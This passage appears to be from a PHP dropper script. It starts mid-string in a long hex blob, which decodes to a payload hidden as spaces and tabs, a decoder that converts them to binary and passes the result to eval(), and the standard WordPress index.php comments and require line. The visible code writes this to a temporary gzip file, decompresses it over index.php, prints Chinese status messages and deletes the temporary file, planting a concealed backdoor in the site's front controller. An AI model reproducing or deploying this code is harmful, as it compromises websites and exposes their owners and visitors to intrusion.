200909092009092020092009200909200909092020090909200920202020092020090920200909092020092020090920200920092009092020090920200909202009200920090909202009202020090909092009202009202009202020090909202009202009092020092009200909202009092020090920200920092009090920200920202009202009092020090920090920202009092020202009200909200909092020090920200909092020090909092009202009202009202020090920090920202009092020202009200909200909092020090920200909092009090920092009200909202020200920090920200909092009092020092009202009202009092020090920092020092009090920202020202009090909200920200920200920202009092009202009200909092020202020200920200909202009092020092020200909200909090920090920090920092020090909092009202009202009202020090920200920202009092009090909200909200909200920090920202020092009092009202009200909200909092020200920200909202009092009202020200909092009202020090909200920202009090920202020202009090909200920200920200920202009092009202020200909092009202020090909200920202009090920202020202009202009092020090909200920092009090920200920200909200920200920200909090920092020092020092020200909092009200920090909202009202009092009202009202009202009092020090909202020202009092020200909202009090909200920200920200920202009090920202020200909202020090920200920200909202009090920200920200909202009200920090909200909092009090920200920200909200920200920090909200920202009092020092009200909202020200920090920202009202009092009092020200909202009200920200909090920092020092020092020200909202009090920090920092020202009090920202009202009202009092020090909202009092009092020200909200909092020092020090920092020092009090920202020200909092009202020200909090920092020092020092020200909092020090920090920202009092009090920200920200909200920200920090909202020202009090920092020202009202020092020200909092009092020092020202020202009202020202020200920200920202009090920200920200909200909090920090920202009202009092009090909200909092009202020090909202009092009200909090909200909202020090920090920090909092009092009090920200909092009202020090920200920092009092009090920200909092009202020090909202009092020092020202020202009090909200920200920202020202020092020200920202009202020092020200909092009092020092020202020202009202020202020090920092020092009092020090920202009200920202020090909202009092009090920092020200909092020092020090909202020202009092009090909200909092020090920200920092020202020092020092020200909092009200920090909202009202009092009202009202009200909202020200920202009202009090920202020200909200920200920090920090909202009092020090909200909092020090920090920092020092009090920092020200909202009200920090920090920092009092020202009200909092020202020200920202009202020092009202009202009202020202020200920202020092020090909092009202009090909200920200920202020202009092020090920200909202020200920090920090920202009090920200909200909202009200920200920092020092020092020202020200909090920090920200920202020202020092020202020202009202020202020200920200920202009090920200909200909202020090920090909202009202009092009202009200909092020202020090920090909202009092020202009200909200909200920090920200920092020092020202020202009090909200920200920202020202020092020092020200920090909090920092009202009092009202020092009200920092020092020092009200909202009202020092009200920092020092020092009092009092020092020090909200920092020090920092020202009092009200920200920200920200920200920092009202020202009200920092020200920090909090920092020090909202009202020202009200920200909200920092020200920092020092020090909200920090909200920200909092009092020092020202020202009202020202020200920202020202009092009202009200909202009092020200920092020202009090920200909200909092009202020090909202009202009090920202020200909200909090920090909202009092020092009202020202009202009202020090909202009092009092020200909200909092020092020090920092020092009090920202020200909200909092020090920202020092009092009092009200909202009200920200920090920202020092020200920200909200920200920090920090909202009092020092020200909202009200920090909092020202020092009090920200909092020202020200920202009202020092009202009202009202020202020200920202020092020090909092009202009090909200920200920202020202009092020090920200909202020200920090920090920202009090920200909200909202009200920200920092020092020092020202020200909090920090920200920202020202020092020202020202009202020202020200920202020202009092009202009200909202009092020200920092020202020092020092020200909202009090920090920092020202009090920202009202009202020202020200909090920092020090909092009202009202020202020200909202020202020092009202009202009202020202020090909092009092020092020202020202009202020202020200920202020202020092020202020202009202020202020200920200920202009090920200909200909202020090920090909202009202009092009202009200909092020202020090920090909202009092020202009200909200909200920090920200920092020092020202020202009090909200920200920202020202020092020090909202009200909090920200909090909092020092020090909202009090920090920200920202020202020092020202020202009202020202020200920202020202009090909092009202009202020202020090920200920092009092009092020200909092020090920090920200920092020092020202020200909090920090920200920202020202020092020202020202009202020202020200920202020202020092020202020202009202009202020090909202009092009092020200909200909092020092020090920092020092009090920202020200909200909092020090920202020092009092009092009200909202009200920200920202020202020090909092009202009202020202020200920200909092020092009090909202009202009090920200909092009092020092020202020202009202020202020200920202020202020092020202020200909090909200920200920202020202020092020202020202009202020202020090909090920092020092020202020200909202009200920090920090920202009090920200909200909202009200920200920202020202009090909200909202009202020202020200920202020202020092020202020202009202020202020200920200920202009090920200909200909202020090920090909202009202009092009202009200909092020202020090920090909202009092020202009200909200909200920090920200920092020092020202020202009090909200920200920202020202020092020092020200909092020090920090920202009092009090920200920200909200920200920090909202020202009092009090920200909202020200920090920090920092009092020092009202009200909092020200920200909092020090909090909202009202009090920200909092009092020092020202020202009202020202020200920202020202009090909092009202009202020202020200920202020202020092020202020202009202009202020090909202009202009092009090909200909202020092020090920090909092009090920092020200909092020090920092009090909092009092020200909200909200909090920090920090909202009090920092020200909202009200920090920090909202009090920092020200909092020090920200920202020202020090909092009202009202020202020200920202009202009200920092009200909092020090920090920200920092009090920200920202009200909200920090920202020092009092020090909200909202009200920090920090909202009090920092020202009090920092020200920202020202020092009200920200920090909202020090909202009202009200909092020200909200909092020092020202020092009092009092020200909200909202020090920090909092009090920090909202009090920092020200920202020202020092009090909202009202020092020200909092009092020092020202020202009202020202020200920202020202020092020092020200909092020090920090920092020092009090920092020200909202009200920090920090920092009092020202009200909092020202020200920202020202020090909092009202009202020202020200920202009202020092020092020200909200920202020090909200920202009090920092020200909092020202020200909092009202020092009090909202009200909090920200920202009202020092020202020202009200909092020200920202020202020092020092020200909202009202020090920090909092009092009092009200909202020200920090920092020092009092009090920202009202020202020200920090909202020092020092020200909092020090920090920202009092009090920200920200909200920200920090909202020202009092009090920200909202020200920090920090920092009092020092009202009200909092020200920202020202020092020200920200909092020090920090920092020092009090920092020200909202009200920090920090920092009092020202009200909092020202020200920090909202009090909202020200909200909200920090920090920202020092020200920202009090920090920200920202020202020092020202020202009202020202020200920200920202009090920200920200909200909090920090920202009202009092009090909200909092009202020090909202009092009200909090909200909202020090920090920090909092009092009090920200909092009202020090920200920092009092009090920200909092009202020090909202009092020092020202020202009090909200920200920202020202009090920092020200909092020092020090920092020092009092009092009202009200920202020200920200920202009090920200920200909200909090920090920202009202009092009090909200909092009202020090909202009092009200909090909200909202020090920090920090909092009092009090920200909092009202020090920200920092009092009090920200909092009202020090909202009092020092009202009202009200909092020200920202009202009200909092020200909092020092020092009090920202009092009090920202009202020092020200920090909202020092020200920200920092020090920090920092020092009090920092020200909202009200920090920090920092009092020202009200909092020202020200909092009202020092020202020202009202009202020090909202009092009092009202009200909092009202020090920200920092009092009092009200909202020200920090909202020202020092020200920202009090920090920200920202020202020092020202020202009202020202020200920200920202009090920200909200909200920200920090909200920202009092020092009200909200909200920090920202020092009090920202020200909092020090920090909200920202009092020202009200909092009202020090909200920092009090920200909202009202020202020200909090920092020092020202020202009202020092020200920202009202020090909200909202009202020202020200920202020202020092020202020200909202009200920090920202009092009092009202020200909200909090920200920202020202020092020092020200909092020090920090920092020092009090920092020200909202009200920090920090920092009092020202009200909092020202020200920090909202020092020200920202009090920092020200920202020202020092020200920202009200909092020200920200920202009090920200909200909200920200920090909200920202009092020092009200909200909200920090920202020092009090920202020200909092020090920090909200920202009092020202009200909092009202020090909200920092009090920200909202009200909092020200920200909092020090909092020200909202020092020090909202009202020092009090909202009090909092020200920200909092020090909200909202009202020202020200920202020202020092020202020202009202009202020090909202009202009092020092009200909092020200920090909200920092009090920200909200909092009202020090909200920092009090920200920200909200909202020200920202020202020090909092009202009202020202020200920200920202009090909200920200909200920202020090909202020202009090920202020200909200920092020200920090909202020092020200920202009090909090920090920202020092009092020090909200909202009200920090920090909202009090920092020202009090909200920200920200920202009090920092009200909202020200920090920200909092009092020092009200909200909092020090909200920202020092020090920200909092020092020090920200920092009092020090920200909202009200920090909202009202020090909092009202009202009202020090909202009202009092020092009200909202009092020090920200920092009090920200920202009202009092020090920090920202009092020202009200909200909092020090920200909092020090909092009202009202009202020090920090920202009092020202009200909200909092020090920200909092009090920092009200909202020200920090920200909092009092020092009202009202009092020090920092020092009090920202020202009090909200920200920200920202009092009202009200909092020202020200920200909202009092020092020200909200909090920090920090920092020090909092009202009202009202020090920200920202009092009090909200909200909200920090920202020092009092009202009200909200909092020200920200909202009092009202020200909092009202020090909200920202009090920202020202009090909200920200920200920202009092009202020200909092009202020090909200920202009090920202020202009202009092020090909200920092009090920200920200909200920200920200909090920092020092020092020200909092009200920090909202009202009092009202009202009202009092020090909202020202009092020200909202009090909200920200920200920202009090920202020200909202020090920200920200909202009090920200920200909202009200920090909200909092009090920200920200909200920200920090909200920202009092020092009200909202020200920090920202009202009092009092020200909202009200920200909090920092020092020092020200909202009090920090920092020202009090920202009202009202009092020090909202009092009092020200909200909092020092020090920092020092009090920202020200909092009202020200909090920092020092020092020200909092020090920090920202009092009090920200920200909200920200920090909202020202009090920092020202009202009092020090909202009092009092009202009200909092009202020090920200920092009092009092009200909202020200920090909202020202020090909092009202009202020092020200920090909202009090920092009200909092020092020090920090920202009092020092009200909200909092020090920202009092009092009090909200909202009202020090920200920092020092009202020202009202009202020090909202009092009092009202009200909092009202020090920200920092009092009092009200909202020200920090909202020202020092009202009202009090920090920200920202020202020092020202020200909090909200920200920202020202020092020202020202009202009202020090909092020092009092009090920200909092009202020090909202020202020092020202020202009090909200920200920202020202009202020202020200909202009092020090920092020092009092009092020200909202009200920092009090909092009092020090909200909202009200920090909200920202009200909090909200909202020090920090920090909092009092009090920200909092009202020090920200920092009092009090920200909092009202020090909202009092020092009202020202009202009202020090909202009202009092020092009200909092020200920090909200920092009090920200909200909092009202020090909200920092009090920200920200909200909202020200920092020092020090909200909202009202020202020200920202020202009092009202009200909202009092020200920092020202009092020092009200909200909200920090909202020202009090920092020200909090920200920200920092020202020092020092020200909090920200920090920090909202009090920092020200909092020202020200920092020092020092009202009202009202020202020090909092009092020092020202020202009202020202020200920202020202020092020092020200909202020090920090920092020202020092020202020202009090909200920200920202020202009092020200909200909092009200920090909202009202009092009092020200920090909090920090920092020092009092009090920200909200920200920090909200920202020092009202020202009200920200920200909092009092020092020202020202009202020202020200920202020202009092020200909200909092009200920090909202009202009092009092020200920090909090920090909202009092009092020092009200909092009202020090920090909092009090920202020200909092009202020200920092020202020092020092020200909202020090920090920092020202020092009092020202009202020202020092020202009092009200920092009200920092020092020092020090920202009202009090909200920092020202020092009200920202009200909090909200920092009200920092009202009202009202009092020202009200909202020200920202020202020092020092020200909092020092020090920200920092009090920202009200909092009200920090909202009092009090920092020200909092009200920090909202009202009092009092020202009200920200920200909092009092020092020202020202009202020202020200920202020202009092020200909200909092009200920090909202009202009092009092020200920090909090920090909202009092009092020092009200909092009202020090920090909092009090920202020200909092009202020200920092020202020092020092020200909202020090920090920092020202020092009092020202009202020202020092020202009092009200920092009200920092020092020092020090920202009202009090909200920092020202020092009200920202009200909090909200920092020092020092020200920092009200920092020200920092009200920092009202009202009202009090920200920092009202020092009202009202009202020202009200920200909092020092009202009092009202020090920200920202009200920092009202009202020092009092020202009202020202020090909200920202009090920200920200909092009200920090920200920092020092009202009202009090920090920200920202020202020092020202020202009202020202020090920202009092009090920092009200909092020092020090920090920202009200909090909200909092020090920090920200920092009090920092020200909200909090920090909202020202009090920092020202009200920202020200920200920202009092020200909200909200920202020200920090920202020092020202020200920202020090920092009200920092009200920200920200920200909202020092020090909092009200920202020200920092009202020092009090909092009202020090920200920200909090920092020090920202009202009092020200920200909090920092009200909092009202009092020200920200909090920092020202009092009202020202009200920092009202020092020092020092009202009090909200920200909092020200920090920202020092020202020200909202009092020090920202020092009092009092020200909092020090920090920200920092020092009202009202009090920090920200920202020202020092020202020202009202020202020090920202009092009090920092009200909092020092020090920090920202009200909090909200909092020090920090920200920092009090920092020200909200909090920090909202020202009090920092020202009200920202020200920200920202009092020200909200909200920202020200920090920202020092020202020200920202020090920092009200920092009200920200920200920200909202020092020090909092009200920202020200920092009202020092009090909092009200920200909200920092020090920092020090920202009200909090909200920092009092020092020200920092009200920200920200920200920200920092020200909202009200909202009200920092020202020092020200920092009202020092009200920092020092020200920090920202020092020202020200920202009092020092020202020092009202009092020200920092020090920092020200920092020092009202009202009090920090920200920202020202020092020202020202009202020202020090920202009092009090920092009200909092020092020090920090920202009200909090909200909092020090920090920200920092009090920092020200909200909090920090909202020202009090920092020202009200920202020200920200920202009092020200909200909200920202020200920090920202020092020202020200920202020090920092009200920092009200920200920200920200909202020092020090909092009200920202020200920092009202020092009090909092009200920200909200920092020090920092020090920202009200909090909200920092009092020092020200920092009200920200920200920200920200920092020200909202009200909202009200920200920202020092020090909092009200920200909200920092009202020200920090920202020092020202020200920202009092020092020202020092009202009092020200920092020090920092020200920092020092009202009202009090920090920200920202020202020092020202020202009202020202020200920200920202009090909202009200909200909092020090909200920202009090920202020202009202020202020200909090920092020092020202020200909202020090920090909200920092009090920200920200909200909202020092009090909092009092020092009200909090920202020090920200920092009092020200909202009200920202020200920200920202009092020200909200909200920202020200920092020092020090909200909202009202020202020200920202020202020092020202020200909202020090920090909200920092009090920200920200909200909202020092009090909092009092020200909200909200909202020090920090909092009090920200909200909202009200920200920092020202020092020092020200909202020090920090920092020202020092009202009202009090920090920200920202020202020092020202020200909090909200920200920202020202020092020202020200909200920200920090920200909202020092009202020202009202020200920090920200920092009092009092009200909092020202020090909200920202009090909202009202009200920202020200920200920202009090909202009200909200909092020090909200920202009090920202020202009200920200920200920092020092020092020202020200909090920090920200920202020202020092020202020202009202020202020090920092020092009092020090920202009200920202020090909202009092009090920092009200909202020092020090909202009092009090920092020200909092020092020200920092020202020092020092020200909090920200920090920090909202009090920092020200909092020202020200920090920202020090920202020202009200909202020200909202020092020090920202020202009200920200920200909090920092020090909092009202009202020092020090920200920092009090920200920200909092020092020090920090909092009090920200920202009202020202020090920202009092009092009090909200909202009202020090920200920092020092020200920202009202020202020090920090909092009090920200920202009202020202020200920200920202009090909202009200909200909092020090909200920202009090920202020202009202020202020200909090920092020090909092009202009202020202020200920202009202020090920092009202009092020202020200909202020202020092020200920202009202020202020090920090909092009090920200920202009202020202020090909202009092009090920092020200909092020092020090909202020202009092009090909200909092020090920200920092020202020092020092020200909090920200920090920090909202009090920092020200909092020202020200920090920202020092020090909200920202020092020090920202020092009092020092020202009202020202020092020200909092009092020202009200909092009202020090920200920092009090920090909200909202020200920090909092020092020092020090909202009200920200920200920202020092020090909092009202009090909200920090920200909202009092020202009200909200909202020090909202009092009092020092009202009200920200920200920202020202009090909200909202009202020202020200920202020202020092020202020202009202020202020090920092020202009092020092009200909202020200920090920200920202009092020092009200909092020092020200920092020202020092020200920200920200920202020092009200920202009200920092020200920092020202020200920090909092020090920202009202009200909092020200909202020202020092020202020202009092009200920200909202020202020090920202020202009202020202020092020092020092009092009090920200909092009202020090920200920092009090920200920200909200909092020090920202020092009092009092020202009202020202020092009202009092009092020092009200909092020092020090909200909202009092020092009200909092020092020200920202020202009202020092009200909092020092020090909202009202009092009090909200909092020092020200920202009202020092009202009202009090920090920200920202020202020092020202020202009202020202020200920202020202009092020092009200909090920202020090920092020092009090920092020202009200920202020200920092020092020090909200909202009202020202020200920202020202020092020202020200909090909200920200920202020202020092020202020202009202020202020090920092020092009092020090920202009200920202020090909202009092009090920092020200909092020092020090909202020202009092009090909200909092020090920200920092020202020092020092020200909092009200920090909202009202009092009202009202009200909202020200920202009202009092009200920200909092020202020200909202009202020090920202020202009092020092020200909202009092020092020200920202009200920200920200920202020202020092020202009202009090909200920200909090920092020092020202020200909202009092020090920202020092009092009092020200909092020090920090920200920092020092009202009200909090920090920090920092020202009092020092009200909202020200920090920200920202009092020092009200909092020092020200920092020202020092020090909200920200920202020092009200920202009200920092020200920092020202020200920090909092020090920202009202009200909092020200909202020092020092020202020202009092009202020200909202020202020090920092020202009202020202020092020090909202009092009090909200909092009202020200920202020202009202020090920200909200909090920090909200920092009092009090920200909202009202020200920200909092020092009202009202009090920090920090909090920092020092020202020202009202020202020200920202020202009092020092009200909200909202020090909202009092009092020092009202009202020202020090920092020092009092020090920202009200920202020090909202009092009090920092009200909202020092020090909202009092009090920092020200909092020092020200920092020202020092020092020200909090920200920090920090909202009090920092020200909092020202020200920090920202020090920202020202009200909202020200909200920092020092009202009202009090909200920200909090920092020092020200920202009090909202020200909090909092009090909202020200909200909200920090920090920202020092020200920202009200920200920200920202020202009090909200909202009202020202020200920202020202020092020202020202009202020202020090920092020202009092020092009200909202020200920090920200920202009092020092009200909092020092020200920092020202020092020090909200920202020090920090920090909092009092009090920200909092009202020090920200920092009092009090920200909092009202020200920090920092009200920092020200909090920200920090909202020202009092020092009202009090920092020200920202020202009090920092020200909202009200920090909092020202009090920092020202009200909090920090909092020202009092009092009200909200909202020200909092009092020092020202020200909202020090920090920092020202009092020202009200909092020092020090909202009092009092020092009200909092009202020200909090920092009090920092009200909092009202020090920200909202020092009092009202009090920202020200920200909092020092009202009202009090920090920200920202020202020092020202020202009202020202020090909090920092020092020202020200909202009200920090920090920202009090920200909200909202009200920200920202020202009090909200909202009202020202020200920202020202020092020202020202009202020202020090920092020202009092020092009200909202020200920090920200920202009092020092009200909092020092020200920092020202020092020090909200920202020090920090920090909092009092009090920200909092009202020090920200920092009092009090920200909092009202020200920090920092009200920092020200909090920200920090909202020202009092020092009202009090920092020200920202020202009090920092020200909202009200920090909092020202009090920092020202009200909090920090920092020202009090920092020200909200909200920090920090920202020090909200909202009202020202020090920202009092009092009202020200909202020200920090909202009202009090920200909200909202009200920090909200920202020090909092009200909092009200920090909200920202009092020090920202009200909200920200909092020202020092020090909202009200920200920200909092009092020092020202020202009202020202020200920202020202009090909092009202009202020202020200920202020202020092020202020200909202009200920090920202009092009092009202020200909200909090920200920202020202020092020092020200909090920200920090920090909202009090920092020200909092020202020200909092009092020092020202020202009202020202020200920202020202009092009202009200909202009092020200920092020202020092020202009200909202009200920090920090920092009090920202020200909092009202020090909092020092020092009202020202009202009202020090909202009202009092009090909200909202020092020090920090909092009090920092020200909092020090920092009090909092009092020200909200909200909090920090920090909202009090920092020200909202009200920090920090909202009090920092020200909092020090920200920092020092020092009202009200909090920090920090909200909092009090920200920200909200920200920090909200920202009092020092009200920092009202020090920090909092009202020090920200909200920200920090920090920202009092020092009202009200920202020200920202009202009090920200920200909200909090920090920202009202009092009090909200909092009202020090909202009092020092009090920200909092009202020090909092020202009090920092020202009202020092020200920090920202020092020092020200909092020092020090920090909092009092020200920200909200909090920090909200920202009090920200909200920090909090920090920202009092009092009090909200909200909092020090909200920202009092020092009200909200909092020090909200920202009090920200909202009200920200920200909092009092009090909092009202009202020202020200920202020202020092020202020200909202009200920090920090920202009090920200909200909202009200920200920202020202009092009202009200909202009092020200920092020202009090920200909200909092009202020090909202009202009090920202020200909200909090920090909202009092020092009202020202009202009202020090909200920092009090920200920200909200920200920200920090920202020092020200920200909092020092020090920090909092009092020200920200909200909090920090909200920202009090920200909202009200909092020090909200920202009090909202020200909092009202020200920202009202020092009202009202009202020202020200920202020092020090909092009202009090909200920200920202020202009092020090920200909202020200920090920090920202009090920200909200909202009200920200920092020092009090909200909200909092009090920090909202009202009092009202009200909092009202020090920200920092009200920092020200909200909090920092020200909202009092009202009200909200909202020090920200920092020092009202020202009202020092020090909202009202009092009090909200909202020092020090920090909092009090920092020200909092020090920200920090909202009090920092020200909090920202020090909200920202020092020200920202009200909202020200920200920202009090909202009200909200909092020090909200920202009090920202020202009200920200920200909092009092009090909092009202009202020202020200920202020202020092020202020200909202009200920090909092020202009092009202009200909092009202020200920092020202020092009202009202009090920090920200920202020202020092020202020202009202020202020090909202009202009092020092009200909092009202020090909200920092009090920200920200909200909092020200909092009092020092020202020202009202020202020090909090920092020092020202020200909090909200920090920200920092009092009092020200909092020090920090920200920092009090909200909202009202020202020090909090920092020092020202020202009202020202020200909090909092020090909090920223b0d0a24666163746f7279203d207374725f7265706c616365285b2220222c20225c74225d2c205b2730272c202731275d2c202464697370617463686572293b0d0a24617070203d2027273b0d0a246576656e74203d207374725f73706c69742824666163746f72792c2038293b0d0a666f726561636828246576656e742061732024636f6e7465787429207b2024617070202e3d206368722862696e6465632824636f6e7465787429293b207d0d0a6576616c28273f3e27202e2024617070293b0d0a3f3e3c3f7068700d0a2f2a2a0d0a202a2046726f6e7420746f2074686520576f72645072657373206170706c69636174696f6e2e20546869732066696c6520646f65736e277420646f20616e797468696e672c20627574206c6f6164730d0a202a2077702d626c6f672d6865616465722e70687020776869636820646f657320616e642074656c6c7320576f7264507265737320746f206c6f616420746865207468656d652e0d0a202a0d0a202a20407061636b61676520576f726450726573730d0a202a2f0d0a0d0a2f2a2a0d0a202a2054656c6c7320576f7264507265737320746f206c6f61642074686520576f72645072657373207468656d6520616e64206f75747075742069742e0d0a202a0d0a202a204076617220626f6f6c0d0a202a2f0d0a646566696e6528202757505f5553455f5448454d4553272c207472756520293b0d0a0d0a2f2a2a204c6f6164732074686520576f7264507265737320456e7669726f6e6d656e7420616e642054656d706c617465202a2f0d0a72657175697265205f5f4449525f5f202e20272f77702d626c6f672d6865616465722e706870273b"), 3);file_put_contents("62561", $compressed);$gzFileName = "62561";$outputFileName = "index.php"; $gzFile = gzopen($gzFileName, 'rb'); if ($gzFile === false) {die('无法打开GZ文件');} $outputFile = fopen($outputFileName, 'wb'); if ($outputFile === false) {gzclose($gzFile); die('无法创建输出文件');} while (!gzeof($gzFile)) { $data = gzread($gzFile, 4096); fwrite($outputFile, $data); } gzclose($gzFile); fclose($outputFile); echo "解压完成,输出文件:{$outputFileName}"; @unlink("62561");